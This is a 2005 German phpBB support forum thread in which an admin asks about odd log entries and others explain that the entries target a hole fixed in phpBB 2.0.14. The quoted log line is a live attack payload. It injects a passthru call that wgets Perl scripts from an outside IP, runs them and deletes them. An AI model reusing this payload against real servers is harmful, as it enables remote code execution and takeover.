Seite 1 von 1

seltsame Forenbesucher

Verfasst: 20.04.2005 09:03
von An-Ja
Hallo :) ,

seit gestern hab ich teilweise kuriose Forenbesucher. Die IP - Nummern sind teilweise aus Deutschland, Belgien - aber auch aus den Staaten oder Taiwan. Ich komme kaum hinterher, die IP - Nummern zu bannen :evil:

In meinen Logfiles fand ich derartige Einträge:

[19/Apr/2005:13:35:17 +0200] "GET /viewtopic.php?t=316&rush=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20cd%20/tmp;mkdir%20.temp;cd%20.temp;wget%20http://61.85.234.215/.zk/msn.txt;wget%20http://61.85.234.215/.zk/coll.txt;wget%20http://61.85.234.215/.zk/g.txt;perl%20msn.txt;rm%20msn.txt;perl%20coll.txt;rm%20coll.txt;perl%20g.txt;rm%20g.txt%3B%20%65%63%68%6F%20%5F%45%4E%44%5F&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5F%47%45%54%5F%56%41%52%53%5B%72%75%73%68%5D%29.%2527'; HTTP/1.1" 200 66577 "-" "LWP::Simple/5.63"

Weiss jemand, was das konkret bedeutet ? Diese Einträge sind fast im Stundenrythmus zu finden.

Wenn ich diesen Logeintrag als Adresse eingebe, so wird lediglich der Thread aufgerufen.

Die Forenversion ist 2.0.14.

PS. sorry für den Threadtitel, ich wusste ich, wie ich es beschreiben soll :roll:

Verfasst: 20.04.2005 09:08
von Dave
Hi

In einer früheren Foren Version konnte man damit das Forum hacken. Da du phpbb 2.0.14 hast passiert nix. Ich habe die auch regelmäßig bei mir :wink:

MfG
Dave

Verfasst: 20.04.2005 09:13
von An-Ja
Dankeschön Dave :)

Verfasst: 20.04.2005 14:05
von Mich
Hi,



Da du phpbb 2.0.14 hast passiert nix
wie sieht es mit 2.13 aus ???

Verfasst: 20.04.2005 15:12
von blondi
Mich hat geschrieben:Hi,



Da du phpbb 2.0.14 hast passiert nix
wie sieht es mit 2.13 aus ???

unbedingt updaten und am besten cracker tracker neueste version einbauen...

in der 2.0.13 ist es möglich deinen admin account zu cracken :-))

also schnell uppen auf 2.0.14


lieben gruss